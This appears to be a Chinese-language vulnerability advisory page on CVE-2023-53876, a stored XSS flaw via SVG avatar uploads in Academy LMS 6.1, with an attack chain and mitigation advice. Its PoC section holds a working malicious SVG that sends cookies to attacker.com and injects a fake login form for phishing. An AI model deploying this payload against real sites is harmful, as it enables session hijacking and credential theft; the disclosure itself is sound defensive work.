IPBUF安全漏洞报告
English
CVE-2023-53876 CVSS 5.4 中危

CVE-2023-53876 Academy LMS 6.1 SVG文件上传导致存储型XSS漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2023-53876
漏洞类型
存储型XSS/文件上传
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Academy LMS

相关标签

CVE-2023-53876Academy LMS存储型XSS文件上传漏洞SVG XSSWeb应用安全身份验证绕过CVSS 5.4

漏洞概述

CVE-2023-53876是Academy LMS 6.1版本中的一个安全漏洞,属于文件上传与存储型跨站脚本(XSS)的组合漏洞。该漏洞允许已认证用户在个人资料设置中通过修改文件扩展名上传包含恶意JavaScript代码的SVG文件。由于SVG文件被存储在服务器上且可被其他用户访问,嵌入其中的恶意脚本会在受害者查看个人资料时自动执行,从而实现存储型XSS攻击。攻击者利用此漏洞可窃取用户会话cookie、劫持用户账户、执行任意客户端操作或进行钓鱼攻击。此漏洞需要低权限认证用户即可实施,且CVSS评分5.4表明其具有中等严重性,需要用户交互才能完成攻击。

技术细节

漏洞根源在于Academy LMS 6.1的文件上传验证机制存在缺陷。系统在处理用户头像上传时,仅检查文件扩展名而非验证文件内容,允许攻击者将包含恶意JavaScript代码的SVG文件伪装成正常图片上传。SVG格式支持内联JavaScript脚本,当其他用户访问攻击者的个人资料页面时,浏览器会解析并执行SVG中嵌入的脚本代码。攻击者可通过修改文件扩展名(如将.php改为.jpg或.svg)绕过基础过滤,服务器端未进行MIME类型或文件内容深度检查。攻击流程:首先以低权限用户登录系统,然后构造包含<script>标签或SVG-onload事件的恶意SVG文件,通过个人设置中的头像上传功能提交,服务器错误地将恶意文件存储为静态资源,最后当管理员或其他用户查看攻击者资料时触发XSS执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用Academy LMS 6.1,访问登录页面获取认证入口
STEP 2
步骤2:账户创建/登录
攻击者注册低权限账户或使用已有账户登录系统,获取基本访问权限
STEP 3
步骤3:构造恶意SVG文件
攻击者创建包含JavaScript代码的SVG文件,利用<script>标签或SVG事件处理器(onload等)嵌入XSS payload
STEP 4
步骤4:文件上传
通过用户个人资料设置中的头像上传功能,提交恶意SVG文件,系统错误地接受并存储该文件
STEP 5
步骤5:等待触发
当管理员或其他用户访问攻击者的个人资料页面时,浏览器解析SVG文件并执行其中嵌入的JavaScript代码
STEP 6
步骤6:数据窃取/账户劫持
恶意脚本窃取受害者的cookies、会话令牌或其他敏感信息,发送给攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2023-53876 --> <!-- Save this as avatar.svg and upload via Academy LMS profile settings --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="200" height="200"> <script type="text/javascript"> // Steal cookies and session data var cookies = document.cookie; var payload = 'https://attacker.com/collect?data=' + encodeURIComponent(cookies); // Send stolen data to C2 server fetch(payload, { method: 'GET', mode: 'no-cors' }); // Alternative: Display fake login form document.body.innerHTML = '<div style="padding:20px;text-align:center;"><h2>Session Expired</h2><form action="https://attacker.com/phish"><input type="email" placeholder="Email"><input type="password" placeholder="Password"><button type="submit">Login</button></form></div>'; </script> <circle cx="100" cy="100" r="80" fill="#4a90d9" /> </svg> <!-- Alternative PoC using onload event --> <!-- <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/log?cookie='+document.cookie)"> <rect width="200" height="200" fill="blue"/> </svg> -->

影响范围

Academy LMS < 6.2(修复版本)

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1)禁用用户头像上传功能或限制仅上传PNG/JPG格式;2)部署Web应用防火墙(WAF)规则检测SVG中的恶意脚本模式;3)实施严格的Content-Security-Policy限制脚本执行;4)对上传文件进行深度内容扫描和清理;5)监控异常的文件上传行为和可疑的SVG文件访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表